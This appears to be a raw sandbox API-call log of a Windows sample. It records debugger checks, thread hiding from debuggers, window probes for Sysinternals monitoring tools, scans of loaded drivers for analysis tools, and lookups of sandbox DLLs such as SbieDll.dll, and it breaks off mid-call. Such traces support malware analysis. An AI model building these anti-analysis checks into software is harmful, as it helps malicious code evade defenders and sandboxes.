IsDebuggerPresent () returned 0 [0051.953] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0 [0051.954] VirtualAlloc (lpAddress=0x0, dwSize=0x3e8, flAllocationType=0x1000, flProtect=0x4) returned 0x930000 [0051.955] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x7, ProcessInformation=0x930000, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x930000, ReturnLength=0x0) returned 0x0 [0051.955] VirtualFree (lpAddress=0x930000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0051.955] GetModuleHandleA (lpModuleName="kmon.dll") returned 0x0 [0051.956] FindWindowA (lpClassName="FilemonClass", lpWindowName=0x0) returned 0x0 [0051.956] FindWindowA (lpClassName=0x0, lpWindowName="File Monitor - Sysinternals: www.sysinternals.com") returned 0x0 [0051.956] FindWindowA (lpClassName="PROCMON_WINDOW_CLASS", lpWindowName=0x0) returned 0x0 [0051.956] FindWindowA (lpClassName=0x0, lpWindowName="Process Monitor - Sysinternals: www.sysinternals.com") returned 0x0 [0051.957] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x930000 [0051.957] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77bb0000 [0051.957] GetProcAddress (hModule=0x77bb0000, lpProcName="NtQuerySystemInformation") returned 0x77c22070 [0051.957] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x930000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x930000, ResultLength=0x0) returned 0x0 [0051.958] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ntoskrnl.exe") returned -1 [0051.958] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="hal.dll") returned -1 [0051.958] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kd.dll") returned -1 [0051.958] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mcupdate_Genuin") returned -1 [0051.958] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="msrpc.sys") returned -1 [0051.958] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksecdd.sys") returned -1 [0051.958] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="werkernel.sys") returned -1 [0051.958] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CLFS.SYS") returned 1 [0051.958] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tm.sys") returned -1 [0051.958] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="PSHED.dll") returned -1 [0051.959] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="BOOTVID.dll") returned 1 [0051.959] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="FLTMGR.SYS") returned -1 [0051.959] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="clipsp.sys") returned 1 [0051.959] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="cmimcext.sys") returned 1 [0051.959] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ntosext.sys") returned -1 [0051.959] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CI.dll") returned 1 [0051.959] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="cng.sys") returned 1 [0051.959] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Wdf01000.sys") returned -1 [0051.959] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="WDFLDR.SYS") returned -1 [0051.959] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="SleepStudyHelpe") returned -1 [0051.959] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="acpiex.sys") returned 1 [0051.960] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="WppRecorder.sys") returned -1 [0051.960] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ACPI.sys") returned 1 [0051.960] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="WMILIB.SYS") returned -1 [0051.960] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="intelpep.sys") returned -1 [0051.960] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="WindowsTrustedR") returned -1 [0051.960] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="WindowsTrustedR") returned -1 [0051.960] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pcw.sys") returned -1 [0051.960] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="msisadrv.sys") returned -1 [0051.960] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pci.sys") returned -1 [0051.960] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vdrvroot.sys") returned -1 [0051.960] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pdc.sys") returned -1 [0051.960] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CEA.sys") returned 1 [0051.961] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="partmgr.sys") returned -1 [0051.961] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="spaceport.sys") returned -1 [0051.961] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volmgr.sys") returned -1 [0051.961] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volmgrx.sys") returned -1 [0051.961] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mountmgr.sys") returned -1 [0051.961] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="storahci.sys") returned -1 [0051.961] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="storport.sys") returned -1 [0051.961] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="EhStorClass.sys") returned 1 [0051.961] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fileinfo.sys") returned 1 [0051.961] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Wof.sys") returned -1 [0051.961] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="NTFS.sys") returned -1 [0051.962] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Fs_Rec.sys") returned -1 [0051.962] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ndis.sys") returned -1 [0051.962] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="NETIO.SYS") returned -1 [0051.962] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksecpkg.sys") returned -1 [0051.962] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tcpip.sys") returned -1 [0051.962] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fwpkclnt.sys") returned -1 [0051.962] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="wfplwfs.sys") returned -1 [0051.962] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fvevol.sys") returned -1 [0051.962] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volume.sys") returned -1 [0051.962] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volsnap.sys") returned -1 [0051.962] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdyboost.sys") returned -1 [0051.963] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mup.sys") returned -1 [0051.963] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="iorate.sys") returned -1 [0051.963] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="disk.sys") returned 1 [0051.963] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CLASSPNP.SYS") returned 1 [0051.963] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="crashdmp.sys") returned 1 [0051.963] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="cdrom.sys") returned 1 [0051.963] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="filecrypt.sys") returned 1 [0051.963] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tbs.sys") returned -1 [0051.963] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Null.SYS") returned -1 [0051.963] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Beep.SYS") returned 1 [0051.963] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="BasicDisplay.sy") returned 1 [0051.963] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="watchdog.sys") returned -1 [0051.964] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dxgkrnl.sys") returned 1 [0051.964] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vmbkmclr.sys") returned -1 [0051.964] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="BasicRender.sys") returned 1 [0051.964] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Npfs.SYS") returned -1 [0051.964] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Msfs.SYS") returned -1 [0051.964] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tdx.sys") returned -1 [0051.964] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="TDI.SYS") returned -1 [0051.964] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="netbt.sys") returned -1 [0051.964] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="afd.sys") returned 1 [0051.964] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vwififlt.sys") returned -1 [0051.964] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pacer.sys") returned -1 [0051.965] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="netbios.sys") returned -1 [0051.965] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdbss.sys") returned -1 [0051.965] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="csc.sys") returned 1 [0051.965] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="nsiproxy.sys") returned -1 [0051.965] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="npsvctrig.sys") returned -1 [0051.965] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mssmbios.sys") returned -1 [0051.965] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="gpuenergydrv.sy") returned -1 [0051.965] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dfsc.sys") returned 1 [0051.965] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ahcache.sys") returned 1 [0051.979] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CompositeBus.sy") returned 1 [0051.979] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kdnic.sys") returned -1 [0051.979] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="umbus.sys") returned -1 [0051.979] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HDAudBus.sys") returned -1 [0051.979] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="portcls.sys") returned -1 [0051.979] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="drmk.sys") returned 1 [0051.979] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ks.sys") returned -1 [0051.979] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="usbehci.sys") returned -1 [0051.980] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="USBPORT.SYS") returned -1 [0051.980] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="intelppm.sys") returned -1 [0051.980] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="NdisVirtualBus.") returned -1 [0051.980] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="swenum.sys") returned -1 [0051.980] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdpbus.sys") returned -1 [0051.980] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="usbhub.sys") returned -1 [0051.980] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="USBD.SYS") returned -1 [0051.980] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HdAudio.sys") returned -1 [0051.980] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksthunk.sys") returned -1 [0051.980] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="hidusb.sys") returned -1 [0051.980] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HIDCLASS.SYS") returned -1 [0051.981] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HIDPARSE.SYS") returned -1 [0051.981] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kbdhid.sys") returned -1 [0051.981] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kbdclass.sys") returned -1 [0051.981] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mouhid.sys") returned -1 [0051.981] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mouclass.sys") returned -1 [0051.981] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_diskdump.s") returned 1 [0051.981] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_storahci.s") returned 1 [0051.981] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_dumpfve.sy") returned 1 [0051.982] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="win32k.sys") returned -1 [0051.982] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="win32kfull.sys") returned -1 [0051.982] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="win32kbase.sys") returned -1 [0051.982] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="monitor.sys") returned -1 [0051.982] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dxgmms2.sys") returned 1 [0051.982] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="TSDDD.dll") returned -1 [0051.982] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="cdd.dll") returned 1 [0051.982] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="luafv.sys") returned -1 [0051.982] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="wcifs.sys") returned -1 [0051.982] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="storqosflt.sys") returned -1 [0051.982] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="registry.sys") returned -1 [0051.982] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="lltdio.sys") returned -1 [0051.983] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mslldp.sys") returned -1 [0051.983] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rspndr.sys") returned -1 [0051.983] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HTTP.sys") returned -1 [0051.983] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="bowser.sys") returned 1 [0051.983] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb.sys") returned -1 [0051.983] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb20.sys") returned -1 [0051.983] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mpsdrv.sys") returned -1 [0051.983] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="srvnet.sys") returned -1 [0051.983] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="srv2.sys") returned -1 [0051.983] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mmcss.sys") returned -1 [0051.984] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb10.sys") returned -1 [0051.984] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Ndu.sys") returned -1 [0051.984] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="peauth.sys") returned -1 [0051.984] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="srv.sys") returned -1 [0051.984] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tcpipreg.sys") returned -1 [0051.984] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="condrv.sys") returned 1 [0051.984] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tunnel.sys") returned -1 [0051.984] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="e1i63x64.sys") returned 1 [0051.984] VirtualFree (lpAddress=0x930000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0051.985] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x930000 [0051.985] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77bb0000 [0051.985] GetProcAddress (hModule=0x77bb0000, lpProcName="NtQuerySystemInformation") returned 0x77c22070 [0051.985] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x930000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x930000, ResultLength=0x0) returned 0x0 [0051.986] lstrcmpiA (lpString1="Filem", lpString2="ntosk") returned -1 [0051.986] lstrcmpiA (lpString1="Filem", lpString2="hal.d") returned -1 [0051.986] lstrcmpiA (lpString1="Filem", lpString2="kd.dl") returned -1 [0051.986] lstrcmpiA (lpString1="Filem", lpString2="mcupd") returned -1 [0051.986] lstrcmpiA (lpString1="Filem", lpString2="msrpc") returned -1 [0051.987] lstrcmpiA (lpString1="Filem", lpString2="ksecd") returned -1 [0051.987] lstrcmpiA (lpString1="Filem", lpString2="werke") returned -1 [0051.987] lstrcmpiA (lpString1="Filem", lpString2="CLFS.") returned 1 [0051.987] lstrcmpiA (lpString1="Filem", lpString2="tm.sy") returned -1 [0051.987] lstrcmpiA (lpString1="Filem", lpString2="PSHED") returned -1 [0051.987] lstrcmpiA (lpString1="Filem", lpString2="BOOTV") returned 1 [0051.987] lstrcmpiA (lpString1="Filem", lpString2="FLTMG") returned -1 [0051.987] lstrcmpiA (lpString1="Filem", lpString2="clips") returned 1 [0051.987] lstrcmpiA (lpString1="Filem", lpString2="cmimc") returned 1 [0051.987] lstrcmpiA (lpString1="Filem", lpString2="ntose") returned -1 [0051.987] lstrcmpiA (lpString1="Filem", lpString2="CI.dl") returned 1 [0051.988] lstrcmpiA (lpString1="Filem", lpString2="cng.s") returned 1 [0051.988] lstrcmpiA (lpString1="Filem", lpString2="Wdf01") returned -1 [0051.988] lstrcmpiA (lpString1="Filem", lpString2="WDFLD") returned -1 [0051.988] lstrcmpiA (lpString1="Filem", lpString2="Sleep") returned -1 [0051.988] lstrcmpiA (lpString1="Filem", lpString2="acpie") returned 1 [0051.988] lstrcmpiA (lpString1="Filem", lpString2="WppRe") returned -1 [0051.988] lstrcmpiA (lpString1="Filem", lpString2="ACPI.") returned 1 [0051.988] lstrcmpiA (lpString1="Filem", lpString2="WMILI") returned -1 [0051.988] lstrcmpiA (lpString1="Filem", lpString2="intel") returned -1 [0051.988] lstrcmpiA (lpString1="Filem", lpString2="Windo") returned -1 [0051.988] lstrcmpiA (lpString1="Filem", lpString2="Windo") returned -1 [0051.988] lstrcmpiA (lpString1="Filem", lpString2="pcw.s") returned -1 [0051.989] lstrcmpiA (lpString1="Filem", lpString2="msisa") returned -1 [0051.989] lstrcmpiA (lpString1="Filem", lpString2="pci.s") returned -1 [0051.989] lstrcmpiA (lpString1="Filem", lpString2="vdrvr") returned -1 [0051.989] lstrcmpiA (lpString1="Filem", lpString2="pdc.s") returned -1 [0051.989] lstrcmpiA (lpString1="Filem", lpString2="CEA.s") returned 1 [0051.989] lstrcmpiA (lpString1="Filem", lpString2="partm") returned -1 [0051.989] lstrcmpiA (lpString1="Filem", lpString2="space") returned -1 [0051.989] lstrcmpiA (lpString1="Filem", lpString2="volmg") returned -1 [0051.989] lstrcmpiA (lpString1="Filem", lpString2="volmg") returned -1 [0051.989] lstrcmpiA (lpString1="Filem", lpString2="mount") returned -1 [0051.989] lstrcmpiA (lpString1="Filem", lpString2="stora") returned -1 [0051.990] lstrcmpiA (lpString1="Filem", lpString2="storp") returned -1 [0051.990] lstrcmpiA (lpString1="Filem", lpString2="EhSto") returned 1 [0051.990] lstrcmpiA (lpString1="Filem", lpString2="filei") returned 1 [0051.990] lstrcmpiA (lpString1="Filem", lpString2="Wof.s") returned -1 [0051.990] lstrcmpiA (lpString1="Filem", lpString2="NTFS.") returned -1 [0051.990] lstrcmpiA (lpString1="Filem", lpString2="Fs_Re") returned -1 [0051.990] lstrcmpiA (lpString1="Filem", lpString2="ndis.") returned -1 [0051.990] lstrcmpiA (lpString1="Filem", lpString2="NETIO") returned -1 [0051.990] lstrcmpiA (lpString1="Filem", lpString2="ksecp") returned -1 [0051.990] lstrcmpiA (lpString1="Filem", lpString2="tcpip") returned -1 [0051.990] lstrcmpiA (lpString1="Filem", lpString2="fwpkc") returned -1 [0051.990] lstrcmpiA (lpString1="Filem", lpString2="wfplw") returned -1 [0051.991] lstrcmpiA (lpString1="Filem", lpString2="fvevo") returned -1 [0051.991] lstrcmpiA (lpString1="Filem", lpString2="volum") returned -1 [0051.991] lstrcmpiA (lpString1="Filem", lpString2="volsn") returned -1 [0051.991] lstrcmpiA (lpString1="Filem", lpString2="rdybo") returned -1 [0051.991] lstrcmpiA (lpString1="Filem", lpString2="mup.s") returned -1 [0051.991] lstrcmpiA (lpString1="Filem", lpString2="iorat") returned -1 [0051.991] lstrcmpiA (lpString1="Filem", lpString2="disk.") returned 1 [0051.991] lstrcmpiA (lpString1="Filem", lpString2="CLASS") returned 1 [0051.991] lstrcmpiA (lpString1="Filem", lpString2="crash") returned 1 [0051.991] lstrcmpiA (lpString1="Filem", lpString2="cdrom") returned 1 [0051.991] lstrcmpiA (lpString1="Filem", lpString2="filec") returned 1 [0051.991] lstrcmpiA (lpString1="Filem", lpString2="tbs.s") returned -1 [0051.992] lstrcmpiA (lpString1="Filem", lpString2="Null.") returned -1 [0051.992] lstrcmpiA (lpString1="Filem", lpString2="Beep.") returned 1 [0051.992] lstrcmpiA (lpString1="Filem", lpString2="Basic") returned 1 [0051.992] lstrcmpiA (lpString1="Filem", lpString2="watch") returned -1 [0051.992] lstrcmpiA (lpString1="Filem", lpString2="dxgkr") returned 1 [0051.992] lstrcmpiA (lpString1="Filem", lpString2="vmbkm") returned -1 [0051.992] lstrcmpiA (lpString1="Filem", lpString2="Basic") returned 1 [0051.992] lstrcmpiA (lpString1="Filem", lpString2="Npfs.") returned -1 [0051.992] lstrcmpiA (lpString1="Filem", lpString2="Msfs.") returned -1 [0051.992] lstrcmpiA (lpString1="Filem", lpString2="tdx.s") returned -1 [0051.993] lstrcmpiA (lpString1="Filem", lpString2="TDI.S") returned -1 [0051.993] lstrcmpiA (lpString1="Filem", lpString2="netbt") returned -1 [0051.993] lstrcmpiA (lpString1="Filem", lpString2="afd.s") returned 1 [0051.993] lstrcmpiA (lpString1="Filem", lpString2="vwifi") returned -1 [0051.993] lstrcmpiA (lpString1="Filem", lpString2="pacer") returned -1 [0051.993] lstrcmpiA (lpString1="Filem", lpString2="netbi") returned -1 [0051.993] lstrcmpiA (lpString1="Filem", lpString2="rdbss") returned -1 [0051.993] lstrcmpiA (lpString1="Filem", lpString2="csc.s") returned 1 [0051.993] lstrcmpiA (lpString1="Filem", lpString2="nsipr") returned -1 [0051.993] lstrcmpiA (lpString1="Filem", lpString2="npsvc") returned -1 [0051.994] lstrcmpiA (lpString1="Filem", lpString2="mssmb") returned -1 [0051.994] lstrcmpiA (lpString1="Filem", lpString2="gpuen") returned -1 [0051.994] lstrcmpiA (lpString1="Filem", lpString2="dfsc.") returned 1 [0051.994] lstrcmpiA (lpString1="Filem", lpString2="ahcac") returned 1 [0051.994] lstrcmpiA (lpString1="Filem", lpString2="Compo") returned 1 [0051.994] lstrcmpiA (lpString1="Filem", lpString2="kdnic") returned -1 [0051.994] lstrcmpiA (lpString1="Filem", lpString2="umbus") returned -1 [0051.994] lstrcmpiA (lpString1="Filem", lpString2="HDAud") returned -1 [0051.994] lstrcmpiA (lpString1="Filem", lpString2="portc") returned -1 [0051.995] lstrcmpiA (lpString1="Filem", lpString2="drmk.") returned 1 [0051.995] lstrcmpiA (lpString1="Filem", lpString2="ks.sy") returned -1 [0051.995] lstrcmpiA (lpString1="Filem", lpString2="usbeh") returned -1 [0051.995] lstrcmpiA (lpString1="Filem", lpString2="USBPO") returned -1 [0051.995] lstrcmpiA (lpString1="Filem", lpString2="intel") returned -1 [0051.995] lstrcmpiA (lpString1="Filem", lpString2="NdisV") returned -1 [0051.995] lstrcmpiA (lpString1="Filem", lpString2="swenu") returned -1 [0051.995] lstrcmpiA (lpString1="Filem", lpString2="rdpbu") returned -1 [0051.995] lstrcmpiA (lpString1="Filem", lpString2="usbhu") returned -1 [0051.996] lstrcmpiA (lpString1="Filem", lpString2="USBD.") returned -1 [0051.996] lstrcmpiA (lpString1="Filem", lpString2="HdAud") returned -1 [0051.996] lstrcmpiA (lpString1="Filem", lpString2="ksthu") returned -1 [0051.996] lstrcmpiA (lpString1="Filem", lpString2="hidus") returned -1 [0052.533] FindWindowA (lpClassName="RegmonClass", lpWindowName=0x0) returned 0x0 [0052.533] FindWindowA (lpClassName=0x0, lpWindowName="Registry Monitor - Sysinternals: www.sysinternals.com") returned 0x0 [0052.533] FindWindowA (lpClassName="18467-41", lpWindowName=0x0) returned 0x0 [0052.533] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x930000 [0052.534] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77bb0000 [0052.534] GetProcAddress (hModule=0x77bb0000, lpProcName="NtQuerySystemInformation") returned 0x77c22070 [0052.534] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x930000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x930000, ResultLength=0x0) returned 0x0 [0052.542] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77bb0000 [0052.542] GetProcAddress (hModule=0x77bb0000, lpProcName="NtQuerySystemInformation") returned 0x77c22070 [0052.542] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x930000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x930000, ResultLength=0x0) returned 0x0 [0052.550] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77bb0000 [0052.550] GetProcAddress (hModule=0x77bb0000, lpProcName="NtQuerySystemInformation") returned 0x77c22070 [0052.550] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x930000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x930000, ResultLength=0x0) returned 0x0 [0052.558] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77bb0000 [0052.558] GetProcAddress (hModule=0x77bb0000, lpProcName="NtQuerySystemInformation") returned 0x77c22070 [0052.558] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x930000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x930000, ResultLength=0x0) returned 0x0 [0052.570] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77bb0000 [0052.570] GetProcAddress (hModule=0x77bb0000, lpProcName="NtQuerySystemInformation") returned 0x77c22070 [0052.570] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x930000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x930000, ResultLength=0x0) returned 0x0 [0052.615] lstrcmpiA (lpString1="Kernel Detective", lpString2="dump_dumpfve.sys") returned 1 [0052.615] lstrcmpiA (lpString1="Kernel Detective", lpString2="win32k.sys") returned -1 [0052.615] lstrcmpiA (lpString1="Kernel Detective", lpString2="win32kfull.sys") returned -1 [0052.616] lstrcmpiA (lpString1="Kernel Detective", lpString2="win32kbase.sys") returned -1 [0052.616] lstrcmpiA (lpString1="Kernel Detective", lpString2="monitor.sys") returned -1 [0052.616] lstrcmpiA (lpString1="Kernel Detective", lpString2="dxgmms2.sys") returned 1 [0052.616] lstrcmpiA (lpString1="Kernel Detective", lpString2="TSDDD.dll") returned -1 [0052.616] lstrcmpiA (lpString1="Kernel Detective", lpString2="cdd.dll") returned 1 [0052.616] lstrcmpiA (lpString1="Kernel Detective", lpString2="luafv.sys") returned -1 [0052.616] lstrcmpiA (lpString1="Kernel Detective", lpString2="wcifs.sys") returned -1 [0052.616] lstrcmpiA (lpString1="Kernel Detective", lpString2="storqosflt.sys") returned -1 [0052.616] lstrcmpiA (lpString1="Kernel Detective", lpString2="registry.sys") returned -1 [0052.617] lstrcmpiA (lpString1="Kernel Detective", lpString2="lltdio.sys") returned -1 [0052.617] lstrcmpiA (lpString1="Kernel Detective", lpString2="mslldp.sys") returned -1 [0052.617] lstrcmpiA (lpString1="Kernel Detective", lpString2="rspndr.sys") returned -1 [0052.617] lstrcmpiA (lpString1="Kernel Detective", lpString2="HTTP.sys") returned 1 [0052.617] lstrcmpiA (lpString1="Kernel Detective", lpString2="bowser.sys") returned 1 [0052.617] lstrcmpiA (lpString1="Kernel Detective", lpString2="mrxsmb.sys") returned -1 [0052.618] lstrcmpiA (lpString1="Kernel Detective", lpString2="mrxsmb20.sys") returned -1 [0052.618] lstrcmpiA (lpString1="Kernel Detective", lpString2="mpsdrv.sys") returned -1 [0052.618] lstrcmpiA (lpString1="Kernel Detective", lpString2="srvnet.sys") returned -1 [0052.618] lstrcmpiA (lpString1="Kernel Detective", lpString2="srv2.sys") returned -1 [0052.618] lstrcmpiA (lpString1="Kernel Detective", lpString2="mmcss.sys") returned -1 [0052.618] lstrcmpiA (lpString1="Kernel Detective", lpString2="mrxsmb10.sys") returned -1 [0052.618] lstrcmpiA (lpString1="Kernel Detective", lpString2="Ndu.sys") returned -1 [0052.619] lstrcmpiA (lpString1="Kernel Detective", lpString2="peauth.sys") returned -1 [0052.619] lstrcmpiA (lpString1="Kernel Detective", lpString2="srv.sys") returned -1 [0052.619] lstrcmpiA (lpString1="Kernel Detective", lpString2="tcpipreg.sys") returned -1 [0052.619] lstrcmpiA (lpString1="Kernel Detective", lpString2="condrv.sys") returned 1 [0052.619] lstrcmpiA (lpString1="Kernel Detective", lpString2="tunnel.sys") returned -1 [0052.619] lstrcmpiA (lpString1="Kernel Detective", lpString2="e1i63x64.sys") returned 1 [0052.619] VirtualFree (lpAddress=0x930000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.620] GetModuleHandleA (lpModuleName="dateinj01.dll") returned 0x0 [0052.621] GetModuleHandleA (lpModuleName="cmdvrt32.dll") returned 0x0 [0052.621] GetModuleHandleA (lpModuleName="SbieDll.dll") returned 0x0 [0052.624] VirtualProtect (in: 